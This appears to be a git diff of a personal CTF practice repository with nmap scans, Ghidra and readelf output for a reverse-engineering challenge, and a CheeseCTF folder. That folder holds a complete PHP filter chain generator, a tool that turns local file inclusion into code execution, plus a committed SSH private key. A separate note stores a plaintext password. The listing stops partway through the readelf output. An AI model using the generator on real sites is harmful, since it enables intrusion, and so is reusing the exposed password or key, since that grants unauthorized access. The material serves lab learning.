|
||||
|_End of status
|
||||
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|
||||
|_-rw-r--r-- 1 0 0 119 May 17 2020 note_to_jake.txt
|
||||
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
|
||||
| 256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|
||||
|_ 256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)
|
||||
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|
||||
|_http-title: Site doesn't have a title (text/html).
|
||||
|_http-server-header: Apache/2.4.29 (Ubuntu)
|
||||
Device type: general purpose
|
||||
Running: Linux 4.X
|
||||
OS CPE: cpe:/o:linux:linux_kernel:4.15
|
||||
OS details: Linux 4.15
|
||||
Network Distance: 2 hops
|
||||
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
TRACEROUTE (using port 443/tcp)
|
||||
HOP RTT ADDRESS
|
||||
1 91.15 ms 10.14.0.1
|
||||
2 79.62 ms 10.10.151.224
|
||||
|
||||
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
# Nmap done at Thu Oct 16 13:14:56 2025 -- 1 IP address (1 host up) scanned in 12.68 seconds
|
||||
4
CTF/BrooklynNineNine/note.txt
Normal file
4
CTF/BrooklynNineNine/note.txt
Normal file
@@ -0,0 +1,4 @@
|
||||
Holts Password:
|
||||
fluffydog12@ninenine
|
||||
|
||||
Enjoy!!
|
||||
1293
CTF/CheeseCTF/nmap_scan1.txt
Normal file
1293
CTF/CheeseCTF/nmap_scan1.txt
Normal file
File diff suppressed because it is too large
Load Diff
2
CTF/CheeseCTF/payload.txt
Normal file
2
CTF/CheeseCTF/payload.txt
Normal file
File diff suppressed because one or more lines are too long
131
CTF/CheeseCTF/php_filter_chain_generator.py
Normal file
131
CTF/CheeseCTF/php_filter_chain_generator.py
Normal file
@@ -0,0 +1,131 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import base64
|
||||
import re
|
||||
|
||||
# - Useful infos -
|
||||
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
|
||||
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
|
||||
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
|
||||
|
||||
# No need to guess a valid filename anymore
|
||||
file_to_use = "php://temp"
|
||||
|
||||
conversions = {
|
||||
'0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
|
||||
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
|
||||
'2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
|
||||
'3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
|
||||
'4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
|
||||
'5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
|
||||
'6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
|
||||
'7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
|
||||
'8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
|
||||
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
|
||||
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
|
||||
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
|
||||
'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
|
||||
'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
|
||||
'C': 'convert.iconv.UTF8.CSISO2022KR',
|
||||
'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
|
||||
'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
|
||||
'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
|
||||
'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
|
||||
'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
|
||||
'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
|
||||
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
|
||||
'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
|
||||
'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
|
||||
'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
|
||||
'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
|
||||
'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
|
||||
'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
|
||||
'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
|
||||
'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
|
||||
'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
|
||||
'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
|
||||
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
|
||||
'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
|
||||
'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
|
||||
'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
|
||||
'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
|
||||
'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
|
||||
'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
|
||||
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
|
||||
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
|
||||
'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
|
||||
'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
|
||||
'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
|
||||
'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
|
||||
'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
|
||||
'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
|
||||
's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
|
||||
'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
|
||||
't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
|
||||
'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
|
||||
'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
|
||||
'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
|
||||
'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
|
||||
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
|
||||
'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
|
||||
'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
|
||||
'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
|
||||
'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
|
||||
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
|
||||
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
|
||||
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
|
||||
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
|
||||
'+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
|
||||
'=': ''
|
||||
}
|
||||
|
||||
def generate_filter_chain(chain, debug_base64 = False):
|
||||
|
||||
encoded_chain = chain
|
||||
# generate some garbage base64
|
||||
filters = "convert.iconv.UTF8.CSISO2022KR|"
|
||||
filters += "convert.base64-encode|"
|
||||
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
|
||||
filters += "convert.iconv.UTF8.UTF7|"
|
||||
|
||||
|
||||
for c in encoded_chain[::-1]:
|
||||
filters += conversions[c] + "|"
|
||||
# decode and reencode to get rid of everything that isn't valid base64
|
||||
filters += "convert.base64-decode|"
|
||||
filters += "convert.base64-encode|"
|
||||
# get rid of equal signs
|
||||
filters += "convert.iconv.UTF8.UTF7|"
|
||||
if not debug_base64:
|
||||
# don't add the decode while debugging chains
|
||||
filters += "convert.base64-decode"
|
||||
|
||||
final_payload = f"php://filter/{filters}/resource={file_to_use}"
|
||||
return final_payload
|
||||
|
||||
def main():
|
||||
|
||||
# Parsing command line arguments
|
||||
parser = argparse.ArgumentParser(description="PHP filter chain generator.")
|
||||
|
||||
parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
|
||||
parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
|
||||
args = parser.parse_args()
|
||||
if args.chain is not None:
|
||||
chain = args.chain.encode('utf-8')
|
||||
base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
|
||||
chain = generate_filter_chain(base64_value)
|
||||
print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
|
||||
print(chain)
|
||||
if args.rawbase64 is not None:
|
||||
rawbase64 = args.rawbase64.replace("=", "")
|
||||
match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
|
||||
if (match):
|
||||
chain = generate_filter_chain(rawbase64, True)
|
||||
print(chain)
|
||||
else:
|
||||
print ("[-] Base64 string required.")
|
||||
exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
7
CTF/CheeseCTF/ssh_cheese_ctf
Normal file
7
CTF/CheeseCTF/ssh_cheese_ctf
Normal file
@@ -0,0 +1,7 @@
|
||||
-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACCwFtioAWAvUB2k0CSXgFA5AyTxMtZkeK1TzHWfxkAkagAAAJgQviaREL4m
|
||||
kQAAAAtzc2gtZWQyNTUxOQAAACCwFtioAWAvUB2k0CSXgFA5AyTxMtZkeK1TzHWfxkAkag
|
||||
AAAEDjpDdBuZRPRIkBZNHXZpWpFCxAYgFqEJxVuqVhrVmBpbAW2KgBYC9QHaTQJJeAUDkD
|
||||
JPEy1mR4rVPMdZ/GQCRqAAAAEW5pa0BrYWxpLWxlYXJuaW5nAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----
|
||||
1
CTF/CheeseCTF/ssh_cheese_ctf.pub
Normal file
1
CTF/CheeseCTF/ssh_cheese_ctf.pub
Normal file
@@ -0,0 +1 @@
|
||||
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILAW2KgBYC9QHaTQJJeAUDkDJPEy1mR4rVPMdZ/GQCRq nik@kali-learning
|
||||
BIN
CTF/Compiled/Compiled-1688545393558.Compiled
Executable file
BIN
CTF/Compiled/Compiled-1688545393558.Compiled
Executable file
Binary file not shown.
0
CTF/Compiled/Compiled.gpr
Normal file
0
CTF/Compiled/Compiled.gpr
Normal file
11
CTF/Compiled/Compiled.rep/idata/00/00000000.prp
Normal file
11
CTF/Compiled/Compiled.rep/idata/00/00000000.prp
Normal file
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
|
||||
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
||||
<STATE NAME="FILE_ID" TYPE="string" VALUE="7f011960d2115982921274" />
|
||||
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
|
||||
<STATE NAME="NAME" TYPE="string" VALUE="Compiled-1688545393558.Compiled" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
BIN
CTF/Compiled/Compiled.rep/idata/00/~00000000.db/db.2.gbf
Normal file
BIN
CTF/Compiled/Compiled.rep/idata/00/~00000000.db/db.2.gbf
Normal file
Binary file not shown.
4
CTF/Compiled/Compiled.rep/idata/~index.bak
Normal file
4
CTF/Compiled/Compiled.rep/idata/~index.bak
Normal file
@@ -0,0 +1,4 @@
|
||||
VERSION=1
|
||||
/
|
||||
NEXT-ID:0
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
5
CTF/Compiled/Compiled.rep/idata/~index.dat
Normal file
5
CTF/Compiled/Compiled.rep/idata/~index.dat
Normal file
@@ -0,0 +1,5 @@
|
||||
VERSION=1
|
||||
/
|
||||
00000000:Compiled-1688545393558.Compiled:7f011960d2115982921274
|
||||
NEXT-ID:1
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
2
CTF/Compiled/Compiled.rep/idata/~journal.bak
Normal file
2
CTF/Compiled/Compiled.rep/idata/~journal.bak
Normal file
@@ -0,0 +1,2 @@
|
||||
IADD:00000000:/Compiled-1688545393558.Compiled
|
||||
IDSET:/Compiled-1688545393558.Compiled:7f011960d2115982921274
|
||||
6
CTF/Compiled/Compiled.rep/project.prp
Normal file
6
CTF/Compiled/Compiled.rep/project.prp
Normal file
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
<STATE NAME="OWNER" TYPE="string" VALUE="nik" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
10
CTF/Compiled/Compiled.rep/projectState
Normal file
10
CTF/Compiled/Compiled.rep/projectState
Normal file
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<PROJECT>
|
||||
<PROJECT_DATA_XML_NAME NAME="DISPLAY_DATA">
|
||||
<SAVE_STATE />
|
||||
</PROJECT_DATA_XML_NAME>
|
||||
<TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
|
||||
<WORKSPACE NAME="Workspace" ACTIVE="true" />
|
||||
</TOOL_MANAGER>
|
||||
</PROJECT>
|
||||
|
||||
11
CTF/Compiled/Compiled.rep/user/00/00000000.prp
Normal file
11
CTF/Compiled/Compiled.rep/user/00/00000000.prp
Normal file
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="ProgramUserData" />
|
||||
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
||||
<STATE NAME="FILE_ID" TYPE="string" VALUE="7f011b43f2324964913775" />
|
||||
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
||||
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
|
||||
<STATE NAME="NAME" TYPE="string" VALUE="udf_7f011960d2115982921274" />
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
BIN
CTF/Compiled/Compiled.rep/user/00/~00000000.db/db.1.gbf
Normal file
BIN
CTF/Compiled/Compiled.rep/user/00/~00000000.db/db.1.gbf
Normal file
Binary file not shown.
4
CTF/Compiled/Compiled.rep/user/~index.dat
Normal file
4
CTF/Compiled/Compiled.rep/user/~index.dat
Normal file
@@ -0,0 +1,4 @@
|
||||
VERSION=1
|
||||
/
|
||||
NEXT-ID:0
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
2
CTF/Compiled/Compiled.rep/user/~journal.dat
Normal file
2
CTF/Compiled/Compiled.rep/user/~journal.dat
Normal file
@@ -0,0 +1,2 @@
|
||||
IADD:00000000:/udf_7f011960d2115982921274
|
||||
IDSET:/udf_7f011960d2115982921274:7f011b43f2324964913775
|
||||
4
CTF/Compiled/Compiled.rep/versioned/~index.bak
Normal file
4
CTF/Compiled/Compiled.rep/versioned/~index.bak
Normal file
@@ -0,0 +1,4 @@
|
||||
VERSION=1
|
||||
/
|
||||
NEXT-ID:0
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
4
CTF/Compiled/Compiled.rep/versioned/~index.dat
Normal file
4
CTF/Compiled/Compiled.rep/versioned/~index.dat
Normal file
@@ -0,0 +1,4 @@
|
||||
VERSION=1
|
||||
/
|
||||
NEXT-ID:0
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
34
CTF/Compiled/nm.output
Normal file
34
CTF/Compiled/nm.output
Normal file
@@ -0,0 +1,34 @@
|
||||
000000000000037c r __abi_tag
|
||||
0000000000004030 B __bss_start
|
||||
0000000000004038 b completed.0
|
||||
w __cxa_finalize@GLIBC_2.2.5
|
||||
0000000000004020 D __data_start
|
||||
0000000000004020 W data_start
|
||||
00000000000010b0 t deregister_tm_clones
|
||||
0000000000001120 t __do_global_dtors_aux
|
||||
0000000000003dd8 d __do_global_dtors_aux_fini_array_entry
|
||||
0000000000004028 D __dso_handle
|
||||
0000000000003de0 d _DYNAMIC
|
||||
0000000000004030 D _edata
|
||||
0000000000004040 B _end
|
||||
0000000000001268 T _fini
|
||||
0000000000001160 t frame_dummy
|
||||
0000000000003dd0 d __frame_dummy_init_array_entry
|
||||
0000000000002120 r __FRAME_END__
|
||||
U fwrite@GLIBC_2.2.5
|
||||
0000000000003fe8 d _GLOBAL_OFFSET_TABLE_
|
||||
w __gmon_start__
|
||||
0000000000002048 r __GNU_EH_FRAME_HDR
|
||||
0000000000001000 T _init
|
||||
0000000000002000 R _IO_stdin_used
|
||||
U __isoc99_scanf@GLIBC_2.7
|
||||
w _ITM_deregisterTMCloneTable
|
||||
w _ITM_registerTMCloneTable
|
||||
U __libc_start_main@GLIBC_2.34
|
||||
0000000000001169 T main
|
||||
U printf@GLIBC_2.2.5
|
||||
00000000000010e0 t register_tm_clones
|
||||
0000000000001080 T _start
|
||||
0000000000004030 B stdout@GLIBC_2.2.5
|
||||
U strcmp@GLIBC_2.2.5
|
||||
0000000000004030 D __TMC_END__
|
||||
280
CTF/Compiled/readelf.output
Normal file
280
CTF/Compiled/readelf.output
Normal file
@@ -0,0 +1,280 @@
|
||||
ELF Header:
|
||||
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
|
||||
Class: ELF64
|
||||
Data: 2's complement, little endian
|
||||
Version: 1 (current)
|
||||
OS/ABI: UNIX - System V
|
||||
ABI Version: 0
|
||||
Type: DYN (Position-Independent Executable file)
|
||||
Machine: Advanced Micro Devices X86-64
|
||||
Version: 0x1
|
||||
Entry point address: 0x1080
|
||||
Start of program headers: 64 (bytes into file)
|
||||
Start of section headers: 14168 (bytes into file)
|
||||
Flags: 0x0
|
||||
Size of this header: 64 (bytes)
|
||||
Size of program headers: 56 (bytes)
|
||||
Number of program headers: 13
|
||||
Size of section headers: 64 (bytes)
|
||||
Number of section headers: 31
|
||||
Section header string table index: 30
|
||||
|
||||
Section Headers:
|
||||
[Nr] Name Type Address Offset
|
||||
Size EntSize Flags Link Info Align
|
||||
[ 0] NULL 0000000000000000 00000000
|
||||
0000000000000000 0000000000000000 0 0 0
|
||||
[ 1] .interp PROGBITS 0000000000000318 00000318
|
||||
000000000000001c 0000000000000000 A 0 0 1
|
||||
[ 2] .note.gnu.pr[...] NOTE 0000000000000338 00000338
|
||||
0000000000000020 0000000000000000 A 0 0 8
|
||||
[ 3] .note.gnu.bu[...] NOTE 0000000000000358 00000358
|
||||
0000000000000024 0000000000000000 A 0 0 4
|
||||
[ 4] .note.ABI-tag NOTE 000000000000037c 0000037c
|
||||
0000000000000020 0000000000000000 A 0 0 4
|
||||
[ 5] .gnu.hash GNU_HASH 00000000000003a0 000003a0
|
||||
0000000000000028 0000000000000000 A 6 0 8
|
||||
[ 6] .dynsym DYNSYM 00000000000003c8 000003c8
|
||||
0000000000000108 0000000000000018 A 7 1 8
|
||||
[ 7] .dynstr STRTAB 00000000000004d0 000004d0
|
||||
00000000000000bd 0000000000000000 A 0 0 1
|
||||
[ 8] .gnu.version VERSYM 000000000000058e 0000058e
|
||||
0000000000000016 0000000000000002 A 6 0 2
|
||||
[ 9] .gnu.version_r VERNEED 00000000000005a8 000005a8
|
||||
0000000000000040 0000000000000000 A 7 1 8
|
||||
[10] .rela.dyn RELA 00000000000005e8 000005e8
|
||||
00000000000000d8 0000000000000018 A 6 0 8
|
||||
[11] .rela.plt RELA 00000000000006c0 000006c0
|
||||
0000000000000060 0000000000000018 AI 6 24 8
|
||||
[12] .init PROGBITS 0000000000001000 00001000
|
||||
0000000000000017 0000000000000000 AX 0 0 4
|
||||
[13] .plt PROGBITS 0000000000001020 00001020
|
||||
0000000000000050 0000000000000010 AX 0 0 16
|
||||
[14] .plt.got PROGBITS 0000000000001070 00001070
|
||||
0000000000000008 0000000000000008 AX 0 0 8
|
||||
[15] .text PROGBITS 0000000000001080 00001080
|
||||
00000000000001e6 0000000000000000 AX 0 0 16
|
||||
[16] .fini PROGBITS 0000000000001268 00001268
|
||||
0000000000000009 0000000000000000 AX 0 0 4
|
||||
[17] .rodata PROGBITS 0000000000002000 00002000
|
||||
0000000000000045 0000000000000000 A 0 0 4
|
||||
[18] .eh_frame_hdr PROGBITS 0000000000002048 00002048
|
||||
000000000000002c 0000000000000000 A 0 0 4
|
||||
[19] .eh_frame PROGBITS 0000000000002078 00002078
|
||||
00000000000000ac 0000000000000000 A 0 0 8
|
||||
[20] .init_array INIT_ARRAY 0000000000003dd0 00002dd0
|
||||
0000000000000008 0000000000000008 WA 0 0 8
|
||||
[21] .fini_array FINI_ARRAY 0000000000003dd8 00002dd8
|
||||
0000000000000008 0000000000000008 WA 0 0 8
|
||||
[22] .dynamic DYNAMIC 0000000000003de0 00002de0
|
||||
00000000000001e0 0000000000000010 WA 7 0 8
|
||||
[23] .got PROGBITS 0000000000003fc0 00002fc0
|
||||
0000000000000028 0000000000000008 WA 0 0 8
|
||||
[24] .got.plt PROGBITS 0000000000003fe8 00002fe8
|
||||
0000000000000038 0000000000000008 WA 0 0 8
|
||||
[25] .data PROGBITS 0000000000004020 00003020
|
||||
0000000000000010 0000000000000000 WA 0 0 8
|
||||
[26] .bss NOBITS 0000000000004030 00003030
|
||||
0000000000000010 0000000000000000 WA 0 0 8
|
||||
[27] .comment PROGBITS 0000000000000000 00003030
|
||||
000000000000001e 0000000000000001 MS 0 0 1
|
||||
[28] .symtab SYMTAB 0000000000000000 00003050
|
||||
00000000000003c0 0000000000000018 29 18 8
|
||||
[29] .strtab STRTAB 0000000000000000 00003410
|
||||
000000000000022d 0000000000000000 0 0 1
|
||||
[30] .shstrtab STRTAB 0000000000000000 0000363d
|
||||
000000000000011a 0000000000000000 0 0 1
|
||||
Key to Flags:
|
||||
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
|
||||
L (link order), O (extra OS processing required), G (group), T (TLS),
|
||||
C (compressed), x (unknown), o (OS specific), E (exclude),
|
||||
D (mbind), l (large), p (processor specific)
|
||||
|
||||
There are no section groups in this file.
|
||||
|
||||
Program Headers:
|
||||
Type Offset VirtAddr PhysAddr
|
||||
FileSiz MemSiz Flags Align
|
||||
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
|
||||
0x00000000000002d8 0x00000000000002d8 R 0x8
|
||||
INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318
|
||||
0x000000000000001c 0x000000000000001c R 0x1
|
||||
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
|
||||
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||||
0x0000000000000720 0x0000000000000720 R 0x1000
|
||||
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000
|
||||
0x0000000000000271 0x0000000000000271 R E 0x1000
|
||||
LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000
|
||||
0x0000000000000124 0x0000000000000124 R 0x1000
|
||||
LOAD 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
|
||||
0x0000000000000260 0x0000000000000270 RW 0x1000
|
||||
DYNAMIC 0x0000000000002de0 0x0000000000003de0 0x0000000000003de0
|
||||
0x00000000000001e0 0x00000000000001e0 RW 0x8
|
||||
NOTE 0x0000000000000338 0x0000000000000338 0x0000000000000338
|
||||
0x0000000000000020 0x0000000000000020 R 0x8
|
||||
NOTE 0x0000000000000358 0x0000000000000358 0x0000000000000358
|
||||
0x0000000000000044 0x0000000000000044 R 0x4
|
||||
GNU_PROPERTY 0x0000000000000338 0x0000000000000338 0x0000000000000338
|
||||
0x0000000000000020 0x0000000000000020 R 0x8
|
||||
GNU_EH_FRAME 0x0000000000002048 0x0000000000002048 0x0000000000002048
|
||||
0x000000000000002c 0x000000000000002c R 0x4
|
||||
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||||
0x0000000000000000 0x0000000000000000 RW 0x10
|
||||
GNU_RELRO 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
|
||||
0x0000000000000230 0x0000000000000230 R 0x1
|
||||
|
||||
Section to Segment mapping:
|
||||
Segment Sections...
|
||||
00
|
||||
01 .interp
|
||||
02 .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt
|
||||
03 .init .plt .plt.got .text .fini
|
||||
04 .rodata .eh_frame_hdr .eh_frame
|
||||
05 .init_array .fini_array .dynamic .got .got.plt .data .bss
|
||||
06 .dynamic
|
||||
07 .note.gnu.property
|
||||
08 .note.gnu.build-id .note.ABI-tag
|
||||
09 .note.gnu.property
|
||||
10 .eh_frame_hdr
|
||||
11
|
||||
12 .init_array .fini_array .dynamic .got
|
||||
|
||||
Dynamic section at offset 0x2de0 contains 26 entries:
|
||||
Tag Type Name/Value
|
||||
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
|
||||
0x000000000000000c (INIT) 0x1000
|
||||
0x000000000000000d (FINI) 0x1268
|
